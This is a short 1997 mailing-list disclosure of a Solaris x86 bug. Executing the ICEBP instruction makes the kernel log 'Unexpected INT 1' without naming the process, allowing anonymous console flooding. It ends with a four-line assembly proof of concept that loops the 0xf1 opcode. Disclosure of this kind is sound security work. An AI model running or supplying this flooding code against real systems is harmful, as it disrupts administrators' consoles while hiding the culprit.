Solaris x86 & ICEBP

Solar Designer (solar@FALSE.COM)
Sun, 16 Nov 1997 03:25:20 -0300

Hello,

This Pentium bug workaround discussion reminded me of a minor Solaris x86
bug I found half a year ago (tested on Solaris 2.5).

When a program executes the originally undocumented ICEBP instruction, the
kernel reports an 'Unexpected INT 1', and the program continues running.
With default syslogd configuration, this allows flooding the console, and
no information about which process is doing this is reported.

Here's the exploit (put in a .s file):

.globl main
main:
.byte 0xf1
jmp main

Signed,
Solar Designer